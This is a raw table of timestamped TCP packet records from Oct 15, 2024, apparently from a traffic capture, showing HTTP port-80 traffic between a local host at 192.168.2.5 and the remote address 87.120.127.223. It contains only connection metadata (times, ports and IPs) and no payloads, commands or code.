Oct 15, 2024 19:22:03.529083967 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.529134035 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.529171944 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.529191971 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.529232979 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.571717024 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.571738958 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.571768999 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.571787119 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.571813107 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.571851969 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.659424067 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659449100 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659482002 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659498930 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659521103 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659547091 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659583092 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659599066 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659614086 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659622908 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659631968 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.659787893 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.659787893 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.659787893 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.659787893 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660032034 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660079956 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660104990 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660104036 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660141945 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660156965 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660185099 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660207033 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660347939 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660347939 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660347939 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660531044 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660557985 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660583973 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660608053 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660629034 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660650969 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660674095 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660706997 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660706997 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660706997 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660749912 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660769939 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660794020 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660795927 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660840034 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.660870075 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660964012 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.660983086 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.661006927 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.661050081 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.661096096 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.661130905 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.661145926 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.661199093 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.661639929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.661691904 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.661710024 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.661739111 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.702594995 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.702651024 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.702668905 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.702691078 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.702721119 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.702752113 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.702752113 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.702774048 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.789592028 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789618015 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789644003 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789674997 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789690971 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789714098 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789715052 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.789727926 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789777040 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.789853096 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789891005 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.789906025 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789930105 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.789963007 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790014029 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790040970 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790074110 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790296078 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790342093 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790386915 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790388107 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790400982 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790436029 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790437937 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790460110 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790488958 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790492058 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790510893 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790529966 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790544987 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790549040 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790579081 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790584087 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790623903 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790638924 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790664911 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790797949 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790817976 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790842056 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790846109 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790874958 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.790887117 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.790992975 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791006088 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791043997 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.791079998 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791099072 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791120052 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.791122913 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791156054 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.791178942 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791227102 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791244984 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791268110 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.791270971 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791306973 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.791410923 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791867018 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791908979 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.791917086 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791934013 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.791958094 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.792012930 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.834194899 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.834438086 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.834479094 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.834498882 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.834526062 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.834543943 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.834564924 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.834589005 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.834675074 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.834675074 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.834675074 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.923398018 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923430920 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923465967 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923480988 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923510075 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923527956 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923551083 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923576117 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923631907 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.923631907 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.923631907 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.923631907 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.923906088 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923940897 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923964024 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.923984051 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924002886 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924030066 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924052000 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924102068 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924102068 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924102068 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924110889 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924129963 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924212933 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924236059 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924257040 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924278021 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924316883 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924316883 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924316883 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924412966 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924460888 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924868107 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924890041 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924926043 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924937010 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924954891 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924977064 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.924992085 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.924994946 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925029039 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925033092 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.925043106 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925070047 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925082922 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.925087929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925112009 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925127029 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.925132990 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925172091 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.925180912 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925200939 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925225019 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925237894 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925245047 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.925280094 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.925632954 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925646067 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.925692081 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.973330021 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973365068 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973387957 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973402023 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973418951 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.973433971 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973520041 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973537922 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973562002 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:03.973620892 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.973620892 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:03.973620892 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.058893919 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.058938980 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.058955908 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.058976889 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.058998108 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059020042 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059041977 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059076071 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059076071 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059076071 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059106112 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059125900 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059144974 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059181929 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059199095 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059223890 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059237957 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059250116 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059250116 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059250116 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059276104 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059447050 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059524059 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059545040 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059568882 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059571028 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059618950 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059642076 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059710979 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059730053 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059756041 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059756041 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059804916 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.059911966 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059931040 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059957027 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.059979916 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.060077906 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060096025 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060120106 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060126066 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.060141087 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060158968 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060172081 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.060194969 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.060297012 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060359001 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060376883 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060401917 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.060480118 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060498953 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060525894 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.060616970 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060636044 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060661077 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.060667992 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.060713053 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.111310959 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.111346960 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.111392975 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.111491919 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.113090992 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113178968 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.113264084 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113284111 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113310099 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113329887 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113369942 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113389969 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113413095 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.113428116 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.113429070 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.113429070 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.166379929 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.194291115 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194317102 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194350004 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194392920 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194595098 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.194595098 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.194693089 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194730997 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194802999 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194823980 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194849014 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194855928 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.194868088 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194876909 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.194894075 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.194914103 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.195266008 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195302010 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195321083 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.195338964 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195360899 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195380926 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195382118 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.195421934 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.195427895 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195451975 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195481062 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195496082 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.195513010 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195533037 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.195559025 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197335005 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197380066 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197386980 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197401047 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197427034 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197446108 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197453022 CEST	80	49704	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:04.197493076 CEST	49704	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:04.197500944 CEST	80	49704	87.120.127.223	192.168.2.5
